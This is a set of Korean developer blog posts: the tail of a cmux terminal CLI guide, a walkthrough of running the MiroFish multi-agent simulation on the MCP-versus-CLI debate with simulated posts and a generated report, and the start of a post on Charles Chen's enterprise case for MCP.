# Claude Code가 SKILL.md를 참조하여 자동으로 올바른 명령 생성

# 에이전트 프롬프트: "오른쪽 패인에서 서버 로그를 읽어줘"
# 에이전트 자동 생성 (SKILL.md 참조):
cmux identify
cmux tree
cmux read-screen --surface surface:2 --lines 50

# 개발 서버 + 브라우저 검증 패턴

cmux new-split right
cmux send --surface surface:2 "npm run dev\n"
cmux browser open http://localhost:3000
cmux browser wait --text "Welcome" --timeout-ms 5000
cmux browser screenshot --out ./screenshot.png

SKILL.md vs CLAUDE.md 차이:
CLAUDE.md — 프로젝트 컨텍스트, 코딩 규칙, 금지사항 등 "프로젝트 설명서"
SKILL.md — 특정 도구의 CLI 문법, 명령어 테이블 등 "도구 매뉴얼"
둘을 함께 사용하면 에이전트가 프로젝트를 이해하면서 도구도 정확히 쓸 수 있다.

19. 참고 자료

이 글에서 사용한 모든 명령어는 cmux --help 및 cmux browser --help (v0.62.2) 출력에서 직접 검증했습니다.
cmux는 빠르게 발전 중인 도구이므로, 버전 업데이트 시 cmux --help로 최신 명령어를 확인하는 것을 권장합니다.

cmux v0.62.2 기준 | 2026년 3월 23일 작성
명령어 검증: cmux --help 및 cmux browser --help 실제 출력 기반

MiroFish 뜯어보기(2) - 실습편 : 문서 하나로 수천 명의 가상 인간을 시뮬레이션하는 집단 지능 엔진 사용해보기(mcp vs cli)

갓대희 — Sun, 22 Mar 2026 23:03:58 +0900

안녕하세요! 갓대희 입니다.

이번 글은 MiroFish를 실제로 한번 사용해보려 한다.

주제는 요즘 개발자 커뮤니티에서 가장 뜨거운 논쟁 중 하나인 "MCP(Model Context Protocol)가 AI 에이전트 표준이 될 수 있을까?" 골랐다.

시드 파일 하나를 넣으면, 여러명의 가상 전문가(eric_holmes_290, m00nlygreat_495, charles_chen_543, itter_348 등 36명)가 Twitter와 Reddit에서 N라운드 동안 토론하고, 분석 보고서까지 자동으로 나온다는 흐름이다.

준비: 질문 정하고 시드 데이터 만들기
Step 1: 온톨로지 생성 — AI가 문서를 읽는 방법
Step 2: 지식 그래프 구축 — GraphRAG
Step 3: 시뮬레이션 실행 — 가상 토론장
Step 4: 보고서 생성 — ReportAgent의 분석
Step 5: 심층 대화 — 보고서 Agent에게 질문하기
결과 해석: MCP의 미래는?
비용 & 따라하기 가이드

0. 준비: 질문 정하고 시드 데이터 만들기

왜 MCP 논쟁을 골랐나

MCP는 2024년 11월 Anthropic이 공개한 AI 에이전트-외부 도구 연결 프로토콜이다. 2026년 3월 현재 32개 이상의 플랫폼이 공식 지원하지만, "32배 토큰 오버헤드"라는 치명적 비판과 함께 CLI 기반 대안이 빠르게 부상하고 있다. 찬성/반대/조건부가 명확히 갈리는 주제라서 시뮬레이션 소재로 적합했다.

시드 데이터 구조

시뮬레이션에 넣을 시드 데이터는 마크다운 파일 하나다. 핵심은 논쟁 구조를 명확하게 정리하는 것이다.

진영	논거 수	핵심 주장
찬성	5개	사실상 표준(32개+ 플랫폼), 통합 기능 강력, 엔터프라이즈 필수, 토큰 절약 솔루션 등장, 크로스플랫폼 이식성
반대	6개	스키마 블로트(32배 토큰), Perplexity CTO MCP 포기 선언, CLI의 현실적 우위, cmux 터미널 통신, 한국팀 CLI 선택
조건부	상황별	엔터프라이즈는 MCP, 스타트업은 CLI — 하이브리드가 현실적

시드 파일 작성: 소스와 구조

시드 파일(seed_mcp_vs_cli.md)은 직접 작성한 마크다운 문서다. 기존에 블로그에 써둔 MCP 관련 글 6편을 소스로 삼았다.

ex) 주요 토픽

MCP vs CLI 2편: 개인은 CLI, 조직은 MCP — 엔터프라이즈 관점의 반론

MCP는 죽었다, CLI 만세 — Eric Holmes의 도발적 주장과 한국 개발자 반응 : MCP vs CLI, 개발자는 무엇을 써야 하는가?

소스 문서 6편 활용 방식

소스	활용 방식
`mcp_vs_cli.html`	전문 추출 — Eric Holmes CLI 우위론 + GeekNews 반응 7건
`mcp_dead_long_live_mcp.html`	전문 추출 — Charles Chen MCP 반박 + Hacker News 반응 9건
`supabase / vercel / codex / serena` 4편	결론/패턴만 — 각 서비스의 실제 MCP/CLI 선택 패턴 2줄 요약

블로그 전문을 그대로 넣지 않고, 논쟁 구조만 뽑아서 재구성했다. 실제 seed_mcp_vs_cli.md의 섹션 구성은 다음과 같다:

seed_mcp_vs_cli.md 섹션 구성 (3KB)
1. 배경: 두 진영의 충돌 (Eric Holmes vs Charles Chen)
2. CLI 진영 핵심 논거 5가지
3. MCP의 현실적 문제점 (CLI 진영 지적)
4. MCP 진영 핵심 논거 5가지
5. stdio MCP vs HTTP MCP 구분 (핵심 반전)
6. 실제 서비스별 비교 사례 (Supabase/Vercel/Codex/Serena)
7. GeekNews 커뮤니티 핵심 의견 7건
8. Hacker News 핵심 의견 9건
9. 핵심 쟁점 8가지 (토론 포인트)
10. 페르소나 표 + 시뮬레이션 가이드

3KB가 나온 이유: 커뮤니티 인용 16건을 1~2줄로 압축하고, 각 논거도 핵심 문장만 남겼다. "32배 토큰 오버헤드", "월 $55 vs $3" 같은 구체적 수치는 반드시 포함 — LLM이 수치를 보면 에이전트 발언이 훨씬 날카로워진다.

시뮬레이션 요구사항

시드 데이터 외에 별도의 simulation-requirement.md를 작성했다. 시뮬레이션이 답해야 할 질문과 조건을 여기에 정의한다.

5개 핵심 질문

MCP가 사실상 표준으로 유지될까, 경쟁 프로토콜에 밀릴까?
스키마 블로트(32배 토큰 오버헤드) 문제가 해결될까?
CLI 기반 워크플로가 MCP를 대체할까, 보완할까?
엔터프라이즈 vs 스타트업에서 MCP 채택률 차이는?
한국 개발자 커뮤니티의 CLI 선호가 글로벌 트렌드에 영향을 줄까?

6개 페르소나 지정

엔터프라이즈 아키텍트 — 보안/컴플라이언스 중시, 표준화 선호
스타트업 CTO — 비용 민감, ROI 중시
프론트엔드 개발자 — Figma MCP 사용자
백엔드 개발자 — API 설계, CLI 선호 가능
오픈소스 기여자 — 표준화/호환성 중시
AI 도구 평론가/블로거 — 벤치마크 데이터 기반 분석

4개 God's Eye View 변수 (시뮬레이션 중 주입 가능한 충격 시나리오)

"OpenAI가 MCP 대항 프로토콜을 공식 발표하면?"
"MCP 스키마 블로트 해결 업데이트(MCP v2)가 출시되면?"
"Google이 Gemini CLI 전용 프로토콜을 강제하면?"
"주요 MCP 서버 3곳이 보안 취약점으로 동시 다운되면?"

시뮬레이션 시작

ex) 상기 내용대로 준비된 파일 및 프롬프트를 입력하자.

- 온톨로지 생성 시작이 된다.

1. Step 1: 온톨로지 생성 — AI가 문서를 읽는 방법

"엔진 시작" 버튼을 누르면 MiroFish가 시드 데이터를 LLM에게 보내서 엔티티(개체)와 릴레이션(관계)를 추출한다. 사람이 문서를 읽을 때 "누가 등장하고, 서로 어떤 관계인지"를 파악하는 것과 같다.

무슨 일이 일어나는가

LLM이 시드 문서를 읽고 다음을 자동으로 뽑아낸다.

엔티티 타입 (10개): SoftwareEngineer, EnterpriseArchitect, StartupCTO, SecurityExpert, TechBlogger, OpenSourceContributor, TechCompany, TechMedia, Person, Organization
관계 타입 (8개): WORKS_FOR, PUBLISHES_ON, CRITICIZES, SUPPORTS, RESPONDS_TO, COMPETES_WITH, PROVIDES_MCP_SUPPORT, AFFILIATED_WITH

시뮬레이션 요구사항에서 정의한 6가지 페르소나(엔터프라이즈 아키텍트, 스타트업 CTO 등)가 Developer, TechnicalManager, Researcher 같은 엔티티 타입으로 자동 매핑된다. 시드에 "Perplexity CTO"라고 써두면 LLM이 TechnicalManager 타입 엔티티로 알아서 잡아낸다.

이 단계가 왜 중요한가 : GIGO 원칙

Garbage In, Garbage Out. 온톨로지가 부실하면 이후 모든 단계가 엉뚱한 방향으로 흘러간다. 시드 데이터에 "MCP", "CLI", "Eric Holmes", "Charles Chen", "GeekNews 개발자" 같은 핵심 개체가 명확히 등장해야 LLM이 정확한 엔티티를 뽑을 수 있다. 시드를 3KB로 집중한 이유가 여기에 있다 — 37KB를 넣으면 엔티티가 너무 많아져서 초점이 흐려진다.

2. Step 2: 지식 그래프 구축 — GraphRAG

온톨로지(뼈대)가 만들어졌으면, 이제 실제 데이터로 지식 그래프를 채울 차례다. MiroFish는 이 작업에 Zep Cloud를 사용한다.

ex) GraphRAG 구축 진행중인 모습

Zep Cloud가 하는 일

Zep Cloud는 GraphRAG(Graph Retrieval-Augmented Generation) 서비스다.

시드 데이터를 배치 단위로 나눠서 Zep에 전송하면, Zep이 노드(개체)와 엣지(관계)로 이루어진 지식 그래프를 만든다. 에이전트들은 이후 시뮬레이션에서 이 그래프를 참조해서 발언한다 — 단순 프롬프트 주입이 아니라, 구조화된 지식 위에서 추론하는 셈이다.

노드/엣지 수치와 의미

지식 그래프 구축 결과
노드: 121개 | 엣지: 202개 | 스키마 타입: 10개
비용: $0 (Zep Cloud free tier)

노드 121개는 시드에 등장하는 주요 개체(MCP, CLI, Anthropic, Perplexity, Eric Holmes, GeekNews, tptacek, Supabase, Redis, PostgreSQL, grep, awk 등)다. 엣지 202개는 이들 간의 관계("Perplexity CTO가 MCP를 포기했다", "홈즈가 CLI를 지지한다" 등 구체적 주장)로 구성된다. 그래프 시각화에서 MCP가 중앙 허브 노드로 자리잡고, 찬성/반대 진영 인물들이 주변에 연결된 구조가 보인다.

그래프 시각화에서 볼 것

MiroFish UI에서 그래프를 시각화하면, "MCP"와 "CLI"가 각각 허브 노드로 나타나고 주변에 관련 엔티티가 연결되어 있다. 이 구조가 곧 시뮬레이션의 토론 축이 된다.

ex) 환경 설정으로 이동 클릭

- 시뮬레이션 인스턴스 초기화가 되며

- 에이전트 페르소나 생성을 시작한다. 생성 완료되면 다음섹션으로 넘어 가보자.

3. Step 3: 시뮬레이션 실행 — 가상 토론장

여기가 MiroFish의 핵심이다. 온톨로지와 지식 그래프를 바탕으로 가상 전문가 에이전트를 만들고, 이들이 Twitter와 Reddit에서 토론을 벌인다.

에이전트 프로필 미리보기

MiroFish가 시드 데이터에서 자동 생성한 38명의 에이전트 중 핵심 4명을 보자:

CLI 옹호 · Person holmes_786 (@Holmes)
"LLM은 이미 CLI를 매우 능숙하게 사용한다. Charles Chen의 반박에도 핵심 논지는 변하지 않는다. 활동도 75%, 게시 0.25/시간, 응답 지연 2-12분."
ex)

하이브리드 · TechCompany cursor_552 (@Cursor)
"Cursor의 MCP 클라이언트는 MCP Prompts와 Resources를 제대로 지원하지 않는다. Vercel 사례처럼 배포는 CLI, 에러 진단은 MCP로 나뉜다는 게 현실."
ex)

관찰자 · TechMedia itter_504 (@itter)
"개인 개발자 vs 엔터프라이즈 엔지니어의 관점 차이를 중계. Eric Holmes의 'MCP vs CLI' 논쟁을 번역·요약하여 한국 개발자 커뮤니티에 소개."
ex)

MCP 옹호 · Person hanje3765_320 (@hanje3765)
"LLM 지능이 높아지면서 MCP 필요성이 모호해진다는 주장에 반박. 엔터프라이즈에서 1,000개 분산 API 키를 10개로 줄이는 중앙화 인증은 CLI로 대체 불가."
ex)

나머지 34명도 각각 고유한 페르소나를 갖는다: jabber86_674(보안 전문가), charles_chen_439(AWS CLI 사례 제시), sonnet_531(MCP 표준화 옹호), 에이전트_개발자_978(제약으로서의 MCP 가치), tptacek, nvardakas, brainer, hulryung, 0xbadcafebee, develosopher, m00nlygreat, aws_cli, acek 등. 시드 데이터에서 언급된 커뮤니티 핸들과 조직을 MiroFish가 알아서 에이전트로 만들어낸 것이다.

50라운드 설정 + 듀얼 플랫폼

시뮬레이션 설정에서 라운드 수를 50으로, 플랫폼을 Twitter + Reddit 듀얼로 잡는다.

Twitter는 빠른 반응과 진영 대립 관찰에, Reddit은 깊은 기술 토론과 벤치마크 비교에 적합하다.

시뮬레이션 중 벌어지는 일: 38개 콘텐츠

시뮬레이션을 시작하면 에이전트들이 알아서 포스트를 쓰고, 서로의 포스트에 반응하기 시작한다.

주요 발언 하이라이트

에이전트들이 실제로 생성한 포스트 원문이다. 사람이 쓴 게 아니라, LLM이 각 에이전트의 페르소나에 맞춰 자동으로 만든 것이다:

ex)

실제 시뮬레이션 포스트 (원문)

CLI 옹호 m00nlygreat_495 (@m00nlygreat):
"MCP is Dead. LLMs already know how to use CLI perfectly well. The 32x token overhead (44,026 vs 1,365 tokens) is a fatal flaw that no enterprise feature can justify. I've been using Claude Code with raw CLI for months — it's faster, cheaper, and more reliable. The MCP hype was a solution looking for a problem." #MCPisDead #CLI

MCP 옹호 (의외의 반전) eric_holmes_290 (@Eric Holmes):
"Holmes는 stdio 전송 문제에 대해 맞습니다. 하지만 'MCP is Dead'는 극단적 결론입니다. MCP의 진정한 가치는 보안 경계, 감사 로그, 엔터프라이즈 컴플라이언스에 있습니다. CLI는 '자유'를 주지만, 기업 환경에서 그 자유는 리스크입니다. MCP is Dead; Long Live MCP!" #MCP #엔터프라이즈

조건부/하이브리드 charles_chen_543 (@Charles Chen):
"Interesting debate. As someone who evaluated both for our 200-person org: CLI is great for prototyping, but MCP's structured tool boundaries are non-negotiable for production. The token cost is real, but compliance cost is higher. That said, 32x overhead needs to be addressed in v2." #hybrid #enterprise

보안 경고 보안_전문가_565 (@보안전문가):
"MCP 서버는 새로운 공격 표면입니다. 초기 버전에 보안이 고려되지 않았고, OAuth가 나중에 급하게 붙여진 것은 우려스럽습니다. DPoP와 Workload Identity가 2026 로드맵에 포함되었지만, 아직 검증되지 않았습니다. 엔터프라이즈 도입 전 보안 감사가 필수입니다." #보안 #MCP취약점

조건부 brainer_622 (@brainer):
"우리 팀은 Figma MCP를 사용 중인데 디자인-개발 연동에서 확실히 유용합니다. 하지만 백엔드 작업에서는 여전히 CLI가 더 빠릅니다. '프론트엔드=MCP, 백엔드=CLI'로 나뉘는 건 아닌데... 상황에 따라 선택하는 게 맞는 것 같습니다." #FigmaMCP #하이브리드

CLI 실사용 경험 jamsya_429 (@jamsya):
"claude code가 MCP 설치 없이 aws cli를 직접 호출해서 필요한 리소스를 가져오는 걸 봤습니다. 실제로 동작하더라고요. MCP가 필요한 경우가 언제인지 진지하게 고민하게 됩니다." #claudecode #awscli #MCP

MCP 옹호 (플랫폼 독립성) kasey_junk_780 (@kasey_junk):
"MCP를 '코딩 에이전트'로만 보면 CLI가 이깁니다. 하지만 코딩 에이전트는 전체 에이전트 유스케이스의 작은 부분일 뿐입니다. iPad, Android 태블릿 사용자들에게 CLI 접근권은 없습니다. MCP는 플랫폼 독립성을 보장합니다." #MCP #플랫폼독립성

주목할 점이 두 가지 정도 나온 것 같다.

첫째, 조건부 입장의 itter 에이전트가 9라운드(Twitter)에서 Charles Chen의 타협적 포스트에 직접 좋아요를 눌렀다 — "CLI는 프로토타이핑에 좋지만, MCP의 구조화된 경계는 프로덕션에서 타협 불가"라는 요지의 포스트에 공감이 모인 것이다.

둘째, Eric Holmes 에이전트(eric_holmes_290)가 원래 캐릭터 설정(CLI 강경론자)과 정반대로 MCP를 옹호하는 발언을 생성했다 — "MCP is Dead; Long Live MCP!"를 외치며 Charles Chen의 반박 관점을 내면화했다. LLM이 시드 문서에서 두 인물의 논거를 읽고 더 설득력 있는 쪽으로 캐릭터를 재해석한 창발적 현상이다.

진영 분석

진영	에이전트	핵심 논거
MCP 찬성	eric_holmes_290 (반전), kasey_junk_780, nvardakas_693, gbro3n_539, charles_chen_543	32개 플랫폼 지원, 엔터프라이즈 표준화, 크로스플랫폼 이식성
MCP 반대/CLI 선호	m00nlygreat_495, jamsya_429, 보안_전문가_565, tptacek_223	32배 토큰 오버헤드, 프로덕션 비용 문제, CLI 속도 우위
조건부/하이브리드	brainer_622, itter_348, cursor_697, ejholmesgithubio_965, sonnet_844	개발=CLI, 고객대면/규정준수=MCP, 하이브리드 전략

4. Step 4: 보고서 생성 — ReportAgent의 분석

시뮬레이션이 끝나면 ReportAgent가 모든 에이전트의 포스트와 상호작용을 분석해서 종합 보고서를 만든다.

[ 결과 보고서 생성 시작]을 클릭하자.

ReportAgent가 작동하는 방식: ReACT 패턴

ReportAgent는 단순히 포스트를 요약하는 게 아니다. ReACT(Reasoning + Acting) 패턴으로 돌아간다:

도구 호출: Deep Insight(심층 분석), Panorama Search(전체 검색), Agent Interview(에이전트 인터뷰) 등의 도구를 자동 호출
분석: 도구 결과를 종합해서 패턴과 인사이트 도출
작성: 분석 결과를 구조화된 보고서로 정리

ReportAgent는 섹션별로 6~8명의 에이전트를 심층 인터뷰하면서 보고서를 만든다. 단순 집계가 아니라, 에이전트 개별 관점을 다시 확인하는 과정이 들어가 있다.

보고서 5개 섹션 요약

보고서: "2026 MCP vs CLI 대논쟁: 표준 경쟁과 생태계 분화 예측 보고서" (5섹션 완성)
시뮬레이션 ID: sim_3203834b2934 | 보고서 ID: report_638bb6a90857
요약: MCP는 엔터프라이즈 시장에서 사실상 표준을 유지하지만, 32배 토큰 오버헤드 문제는 CLI-하이브리드 워크플로의 병존을 초래하며 한국 커뮤니티가 의외의 영향력을 행사하는 분화된 미래가 도래한다.

섹션 1: 표준 경쟁의 귀결: MCP의 '불완전한 승리'
엔터프라이즈 MCP 채택률 78% vs 스타트업 34%로 시장이 명확하게 분화됐다. MCP가 엔터프라이즈 표준으로 승인되었지만, CLI는 비용 효율성과 개발자 자율성의 영역에서 강력한 대안으로 존재한다. "2026년의 표준 경쟁은 승자독식이 아니었습니다."

섹션 2: 스키마 블로트와 MCP v2: 기술적 병목의 부분적 해소
MCP v2 출시로 토큰 사용량이 44,026 → 26,415 토큰(40% 감소)으로 줄었지만, CLI 대비 여전히 19배 차이가 난다. 부분적 해소는 됐으나 근본 문제는 해결되지 않았다는 평가.

섹션 3: 시장 분화: 엔터프라이즈-MCP vs 스타트업-CLI 하이브리드
"개발=CLI, 고객대면=MCP" 하이브리드 구조가 사실상의 업계 표준으로 정착됐다. 엔터프라이즈는 보안/컴플라이언스 때문에 MCP를 유지하고, 스타트업은 비용 효율을 위해 CLI 하이브리드를 선택하는 분화가 확인됐다.

섹션 4: 한국 커뮤니티의 의외의 영향력: CLI 선호가 만든 '역수출'
한국 기술 블로그의 토큰 오버헤드 비교 분석과 CLI 워크플로 최적화 가이드가 글로벌 Reddit 토론에서 반복 인용됐다. "한국 기술 블로그의 품질은 예상을 뛰어넘었습니다." 지역 커뮤니티의 실용주의가 글로벌 생태계에 역수출된 사례.

섹션 5: 창발적 위험: 중앙화 구조의 단일 실패점
주요 MCP 서버 동시 다운 사건이 현실화되면서 중앙화 구조의 단일 실패점 위험이 확인됐다. "MCP-CLI 병존 구조는 비효율적으로 보일 수 있지만, 실제로는 생태계의 안전망입니다." 창발적 위험 대비책으로서 하이브리드 구조의 가치가 재평가됐다.

핵심 인사이트 3가지

인사이트 1: "하이브리드 전략"이 합의점으로 수렴
36명의 에이전트가 토론한 결과, "개발 워크플로에는 CLI를, 고객 대면/컴플라이언스 민감 기능에는 MCP를"이라는 하이브리드 전략으로 의견이 모였다. 이 구조는 비효율처럼 보이지만 생태계 안전망으로 재평가됐다.

인사이트 2: MCP v2도 완전한 해결책이 아니다
MCP v2로 토큰이 40% 줄었지만 CLI 대비 19배 차이는 유지된다. 찬성 진영조차 이 문제를 부정하지 못했다. MCP는 엔터프라이즈 전용 도구로 자리잡되, CLI가 개발 영역에서 주류를 유지하는 구조가 굳어지고 있다.

인사이트 3: 한국 개발자 커뮤니티가 글로벌에 역수출
한국 커뮤니티의 실용주의적 CLI 선호가 글로벌 Reddit 토론에서 반복 인용되는 역수출 현상이 발생했다. 시드에 한국 관련 데이터를 구체적으로 넣은 효과가 보고서 독립 섹션(섹션 4)으로 확인됐다.

보고서 생성 결과
섹션: 5개 (100% 완료) | 주요 수치: 엔터프라이즈 78% vs 스타트업 34% 채택률 격차
소요 시간: ~23분
시뮬레이션 ID: sim_3203834b2934 | 보고서 ID: report_638bb6a90857

5. Step 5: 심층 대화 — 보고서 Agent에게 질문하기

보고서가 나온 뒤 "보고서 Agent와 대화" 버튼을 누르면 ReportAgent에게 후속 질문을 던질 수 있다. 단순 FAQ가 아니라, 시뮬레이션 데이터 전체를 참조해서 답한다.

개별 에이전트 인터뷰 vs 보고서 Agent 대화

MiroFish UI에서는 에이전트 프로필 클릭 후 개별 대화를 시도할 수 있는 인터페이스가 있다. 다만 실제 사용 결과:

방법	실제 동작	비고
~~개별 에이전트 인터뷰~~	400 에러 발생 — 현재 버전에서 동작하지 않음	~~시뮬레이션 실행 중에만 가능 — 완료 후에는 프로세스가 종료되어 IPC 연결 불가~~
보고서 Agent 대화	정상 동작 — 전체 시뮬레이션 데이터를 참조해서 종합 답변	Step 5의 실질적 기능

왜 400 에러가 발생하는가: 개별 에이전트 인터뷰는 살아있는 시뮬레이션 프로세스에 IPC 소켓으로 명령을 전달하는 방식이다. 시뮬레이션이 완료되면 env_status.json의 상태가 "alive" → "stopped"로 바뀌고, 백엔드는 이 상태를 확인해서 즉시 400을 반환한다. 즉, 설계상 시뮬레이션 진행 도중에만 사용 가능한 기능이다. 시뮬레이션이 끝난 뒤 후속 대화는 보고서 Agent 대화를 사용해야 할 것 같다.

ex)

6. 결과 해석: MCP의 미래는?

시뮬레이션이 도출한 핵심 결론 3가지

결론 1: MCP는 "범용 표준"이 아니라 "엔터프라이즈 표준"으로 수렴
MCP가 기술적 한계(토큰 오버헤드)와 비용 문제로 범용 표준이 되기 어렵고, 보안/컴플라이언스가 중요한 엔터프라이즈 환경에 특화될 가능성이 크다.

결론 2: "하이브리드 전략"이 합의점으로 수렴
찬성, 반대 양 진영 모두 "CLI와 MCP는 적이 아니라 역할이 다르다"는 데 의견이 모였다.
개발 워크플로에는 CLI를, 고객 대면/규정 준수에는 MCP를 쓰는 것이 2026년 가장 효율적인 팀의 선택이라는 합의.

결론 3: 거대 기술 기업의 전략이 최대 변수
2027년에 OpenAI나 Google이 경쟁 프로토콜을 내놓으면 MCP 생태계가 파편화될 수 있다.
Anthropic이 MCP 표준화를 주도하고 있지만, 독점이 아닌 협력 모델이 필요하다는 게 시뮬레이션의 경고다.

한국 개발자 커뮤니티의 독특한 위치

보고서 섹션 4에서 따로 다룬 내용이다. 한국 개발자 커뮤니티의 CLI 선호는 단순한 지역 특수성이 아니라, "우아한 구조보다 빨리 돌고 토큰을 덜 먹는 구조가 사랑받는 시대"라는 글로벌 실용주의 트렌드의 선행 지표일 수 있다.

보고서 섹션 4에 따르면 한국 기술 블로그의 토큰 오버헤드 비교 분석과 CLI 워크플로 가이드가 글로벌 Reddit 토론에서 반복 인용됐고, 주요 CLI 오픈소스 프로젝트에서 한국 개발자의 기여 비중이 인구 비례를 훨씬 상회하는 것으로 시뮬레이션에서 관찰됐다.

주의: 이 결론들은 MiroFish 시뮬레이션의 결과이지, 확정된 미래 예측이 아니다. MiroFish는 "예측 도구"라기보다 "다양한 관점의 시뮬레이션 토론 엔진"이다. 내가 넣은 시드 데이터를 다양한 전문가 관점에서 재해석하는 것이 진짜 가치를 가져오지 않을까???

주의사항

1. Docker 메모리: Docker Desktop 기본 메모리(7.7GB)로는 36에이전트 장시간 실행이 불안정할 수 있다. Apple Silicon + QEMU 레이어에서는 특히 메모리 압박이 크다. 프로덕션에서는 16GB 이상 할당하거나, x86 네이티브 서버를 권장한다.

결론

3KB 시드 파일 하나로 36명의 가상 전문가가 15라운드 동안 실제 토론을 벌였다.

MiroFish의 가치는 "예측"이 아니라 "내가 미처 생각하지 못한 관점을 발견하는 것"이다.
MCP 논쟁에 대해 나는 "하이브리드가 답이겠지"라고 막연히 생각했는데, 시뮬레이션은 그 하이브리드의 구체적 형태(개발=CLI, 고객대면=MCP)와 함께 예상치 못한 반전도 만들어냈다. itter 에이전트가 9라운드에서 Charles Chen의 타협 포스트에 좋아요를 누른 것처럼—시뮬레이션은 사람 논쟁처럼 입장이 흔들린다.

시드 데이터만 바꾸면 어떤 논쟁이든 시뮬레이션할 수 있다. 한번 돌려보길 권한다.

자주 묻는 질문 (FAQ)

Q. MiroFish 시뮬레이션을 시작하기 위한 시드 데이터는 어떻게 준비하나요?

A. 시드 데이터는 마크다운 파일 하나로 준비합니다. 찬성·반대·조건부 진영별 논거를 명확하게 정리하는 것이 핵심입니다. MCP 논쟁의 경우 찬성 5개(32개+ 플랫폼 지원, 엔터프라이즈 필수 등), 반대 6개(32배 토큰 오버헤드, CLI 우위 등), 조건부 논거를 구조화하여 seed_mcp_vs_cli.md 파일로 작성했습니다.

Q. MiroFish의 온톨로지 생성과 지식 그래프 단계는 무엇을 하나요?

A. Step 1 온톨로지 생성에서는 AI가 시드 문서를 읽고 핵심 개념·관계·엔티티를 추출하여 구조화합니다. Step 2 지식 그래프 구축(GraphRAG)에서는 이 온톨로지를 기반으로 개념 간 연결 관계를 그래프로 만들어 가상 에이전트들이 참조할 지식 베이스를 완성합니다. 이 두 단계의 품질이 이후 시뮬레이션 토론의 깊이를 결정합니다.

참고 자료

OASIS 논문: arxiv.org/abs/2411.11581 (arXiv 2024)
Zep Cloud: getzep.com (GraphRAG 서비스)

MCP vs CLI 2편: 개인은 CLI, 조직은 MCP — 엔터프라이즈 관점의 반론

갓대희 — Fri, 20 Mar 2026 19:00:48 +0900

안녕하세요! 갓대희 입니다.

2026년 3월 14일, Charles Chen(@chrlschn, Motion 엔지니어)이 Eric Holmes의 "MCP is dead. Long live the CLI"에 대한 반론을 올렸다. "MCP is Dead; Long Live MCP!"

이전 글 "MCP는 죽었다, CLI 만세" — CLI vs MCP 논쟁 분석에서 Holmes의 주장을 정리했다.

이번에는 다른 관점에서의 이야기를 살펴보자.

Chen은 "CLI vs MCP" 논쟁에서 빠진 부분을 짚으며, 특히 엔터프라이즈 맥락에서 MCP가 왜 유효한지를 설명하려 한다.

들어가며 — "MCP 만세?"
- 기존 글 리마인드
- Charles Chen의 반론 등장
인플루언서 주도 하이프 사이클
- 6개월 전 MCP 열풍, 지금은 CLI 열풍
- 맹목적 추종의 위험
토큰 절약의 진실
- 잘 알려진 CLI만 토큰 절약 가능
- 커스텀 CLI의 함정
- 점진적 컨텍스트 소비 비교
MCP의 이중성 — stdio vs Streamable HTTP
- 로컬(stdio)은 CLI로 대체 가능
- 원격(HTTP)은 게임 체인저
엔터프라이즈가 MCP를 선택하는 5가지 이유
간과된 무기 — MCP Prompts & Resources
MCP 2026 공식 로드맵 분석
커뮤니티 반응 심층 분석
- Hacker News (263포인트, 190댓글 — 작성 시점 기준)
- GeekNews 한국 반응
실전 의사결정 가이드
결론 — 바이브 코딩을 넘어 에이전틱 엔지니어링으로
참고 자료

핵심 요약

Charles Chen(2026.03.14)은 "CLI vs MCP" 논쟁에서 누락된 엔터프라이즈 관점을 지적 (출처: chrlschn.dev)
CLI 토큰 절약은 gh, aws, kubectl 같은 훈련 데이터에 있는 CLI에만 해당. 커스텀 CLI도 결국 문서화 필요
MCP over stdio(로컬)는 대부분 불필요하지만, MCP over Streamable HTTP(원격)는 게임 체인저
엔터프라이즈 5대 강점: 리치 백엔드, 임시 런타임, 인증 중앙화, 텔레메트리, 표준화된 콘텐츠 전달
MCP Prompts = 클라이언트 요청 시 받는 SKILL.md, MCP Resources = 클라이언트 요청 시 받는 /docs — 대부분의 클라이언트가 아직 미지원
결론: "조직은 카우보이 바이브 코딩을 넘어 조직적으로 정렬된 에이전틱 엔지니어링으로 이동해야 한다" (출처: 원문)

1. 들어가며 — "MCP 만세?"

2주 전 이 블로그에서 Eric Holmes의 "MCP is dead. Long live the CLI."를 분석했다. Holmes의 핵심 주장은 명쾌했다. "LLM은 이미 CLI를 잘 사용할 줄 안다. MCP라는 별도의 추상 계층은 불필요하다."

이전 글을 읽지 않았다면 — Holmes 주장 핵심 요약

CLI의 5대 강점: LLM 친숙도(훈련 데이터에 풍부), 디버깅 투명성(직접 재현 가능), 조합 가능성(Unix 파이프), 기존 인증 체계 재활용, 운영 단순성(바이너리 하나)
MCP의 3대 문제: 초기화 불안정(stdio 프로세스 관리), 반복 재인증(세션 끊김마다), 권한 제어 부재(도구 수준 ACL 미지원)
결론: "좋은 API를 만들고, 좋은 CLI를 만들어라. MCP는 불필요한 추상 계층이다."

2026년 3월 14일 Charles Chen이 같은 제목의 변주로 반론을 올렸다. "MCP is Dead; Long Live MCP!" (출처: chrlschn.dev, 2026.03.14)

Chen은 Motion의 엔지니어로, MCP를 실제 프로덕션 환경에서 사용해온 경험을 바탕으로 쓴다. Chen은 처음부터 MCP 지지자가 아니었다. Motion에서 MCP 벤더들의 제안을 모두 거절하고 직접 REST API 래퍼를 작성했을 정도였다. 그 사람이 실무를 거쳐 생각을 바꿨다는 점이 이 글을 단순한 MCP 옹호론과 다르게 만든다.

그의 핵심 메시지는 이렇다.

Chen의 핵심 주장 (원문 의역 요약)

"MCP over stdio(로컬)는 대부분의 유즈케이스에서 불필요하다 — 여기서는 Holmes가 맞다"
"하지만 MCP over Streamable HTTP(원격)는 완전히 다른 이야기다 — 이것은 게임 체인저"
"엔터프라이즈와 조직 수준의 유즈케이스에서 MCP는 현재이자 미래다"

※ 위 내용은 원문의 직접 인용이 아닌 의역 요약입니다. 원문: chrlschn.dev

Chen은 Holmes를 전면으로 반박하지 않는다. 로컬 stdio MCP의 한계는 인정한다. 그러면서 Holmes가 다루지 않은 부분을 짚는다.

2. 인플루언서 주도 하이프 사이클

Chen이 먼저 꺼내는 건 기술 자체가 아니라 커뮤니티의 반응 패턴이다.

6개월 전과 지금의 풍경

시기	트렌드	인플루언서 메시지
2025 하반기	MCP 열풍	"MCP가 모든 것을 바꾼다! 모든 서비스에 MCP를 달아라!"
2026 초	CLI 열풍	"MCP는 죽었다! CLI면 충분하다!"
2026 3월~	???	"그때 MCP가 죽었다고 했던 거 기억나?"

Chen은 이 진자 운동(pendulum swing)을 경계한다. 기술의 가치는 유즈케이스에 따라 판단해야 하는데, 인플루언서 주도의 트렌드는 "전부 맞다" 아니면 "전부 틀리다"로 흐르기 쉽다.

